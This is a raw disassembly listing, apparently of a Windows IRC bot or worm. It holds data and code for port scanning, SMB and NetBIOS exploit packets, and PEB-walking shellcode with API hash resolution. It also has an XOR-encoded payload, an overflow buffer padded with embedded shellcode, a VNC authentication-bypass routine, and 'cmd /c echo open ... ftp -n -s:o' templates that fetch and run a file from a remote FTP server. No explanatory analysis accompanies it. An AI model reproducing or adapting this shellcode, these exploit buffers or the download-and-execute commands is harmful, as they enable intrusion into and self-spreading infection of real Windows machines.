unk_4371F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_437214	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_437248	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_437280	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4372B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4372E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_437318	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_43734C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_437374	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4373AC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4373EC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_437424	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_437458	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_43748C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_437540	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_437548	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_43754C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_437554	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4375DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43760C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_437618	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_437664	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4376A8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4377A4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4377BA
		mov	[esi+8], eax
		call	sub_43776D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4377BA
		mov	[esi+0Ch], eax
		call	sub_43771F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4377BA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4376A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43771F	proc near		; CODE XREF: sub_4376A8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_437748
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43771F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437748	proc near		; CODE XREF: sub_43771F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_437757:				; CODE XREF: sub_437748+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_437764
		inc	ebx
		jmp	short loc_437757
; ---------------------------------------------------------------------------

loc_437764:				; CODE XREF: sub_437748+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_437748	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43776D	proc near		; CODE XREF: sub_4376A8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_437785:				; CODE XREF: sub_43776D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43778D
		mov	ecx, [ecx]
		jmp	short loc_437785
; ---------------------------------------------------------------------------

loc_43778D:				; CODE XREF: sub_43776D+1Aj
		mov	edx, edi

loc_43778F:				; CODE XREF: sub_43776D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_437799
		mov	edx, [edx+4]
		jmp	short loc_43778F
; ---------------------------------------------------------------------------

loc_437799:				; CODE XREF: sub_43776D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43776D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4377A4	proc near		; CODE XREF: sub_4376A8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4377A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4377BA	proc near		; CODE XREF: sub_4376A8+16p
					; sub_4376A8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4377D0:				; CODE XREF: sub_4377BA+33j
		jecxz	short loc_43780A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_4377DD:				; CODE XREF: sub_4377BA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4377E9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4377DD
; ---------------------------------------------------------------------------

loc_4377E9:				; CODE XREF: sub_4377BA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4377D0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_43780A:				; CODE XREF: sub_4377BA:loc_4377D0j
					; sub_4377BA:loc_43780Aj
		jmp	short loc_43780A
sub_4377BA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437810	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_437862
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_43782D:				; CODE XREF: sub_437810+38j
		jecxz	short loc_43785D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_437838:				; CODE XREF: sub_437810+32j
		lodsb
		test	al, al
		jz	short loc_437844
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_437838
; ---------------------------------------------------------------------------

loc_437844:				; CODE XREF: sub_437810+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43782D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_43785D:				; CODE XREF: sub_437810:loc_43782Dj
		mov	[esp+arg_0], ebx
		retn
sub_437810	endp


; =============== S U B	R O U T	I N E =======================================



sub_437862	proc near		; CODE XREF: sub_437810+7p

; FUNCTION CHUNK AT 0043789A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43787B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_437886
; ---------------------------------------------------------------------------

loc_43787B:				; CODE XREF: sub_437862+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_437886:				; CODE XREF: sub_437862+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43789A
sub_437862	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43788D	proc near		; CODE XREF: sub_437862:loc_43789Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43788D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437862

loc_43789A:				; CODE XREF: sub_437862+29j
		call	sub_43788D

loc_43789F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_437862
; ---------------------------------------------------------------------------
		dw 0
dword_4378A4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_4378B0	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_4378B4	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 10h

loc_4378C0:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_4378C8
; ---------------------------------------------------------------------------
		align 8
dword_4378C8	dd 0			; CODE XREF: ___:loc_4378C0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_437930	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_43793C:				; CODE XREF: ___:00437946j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43793C
		inc	edi
		jz	short loc_437983
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4379AB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_437983:				; CODE XREF: ___:00437949j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4379E2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4379A8:				; CODE XREF: ___:004379D5j
		xor	[esi-25h], bl

loc_4379AB:				; CODE XREF: ___:00437951j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_4379C4:				; CODE XREF: ___:004379F7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4379A8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_4379E2:				; CODE XREF: ___:00437989j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_437A6E
		jo	short loc_4379C4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_437A05+1
		add	bl, [edi]

loc_437A05:				; CODE XREF: ___:00437A01j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_437A1A+2
		cmp	ch, bh
		dec	edx

loc_437A1A:				; CODE XREF: ___:00437A15j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_437A6E:				; CODE XREF: ___:004379F5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_437AF4
		sub	al, 0BCh
		jmp	near ptr 54457E62h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_437A90	dd 0EFFFC481h, 44FFFFh,	437ADCh	; DATA XREF: ___:0040DC32o
dword_437A9C	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_437AA0	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_437AA4	dd 258h			; DATA XREF: ___:0040DC28r
byte_437AA8	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_437AC0	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00437AACo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_437AF4:				; CODE XREF: ___:00437A78j
		push	eax
		xor	al, 29h

loc_437AF7:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_437B00	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_437B14	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_437BBC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 10h
word_438E00	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_438E04	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:0043D560o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:0043D56Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4390E4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43910C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
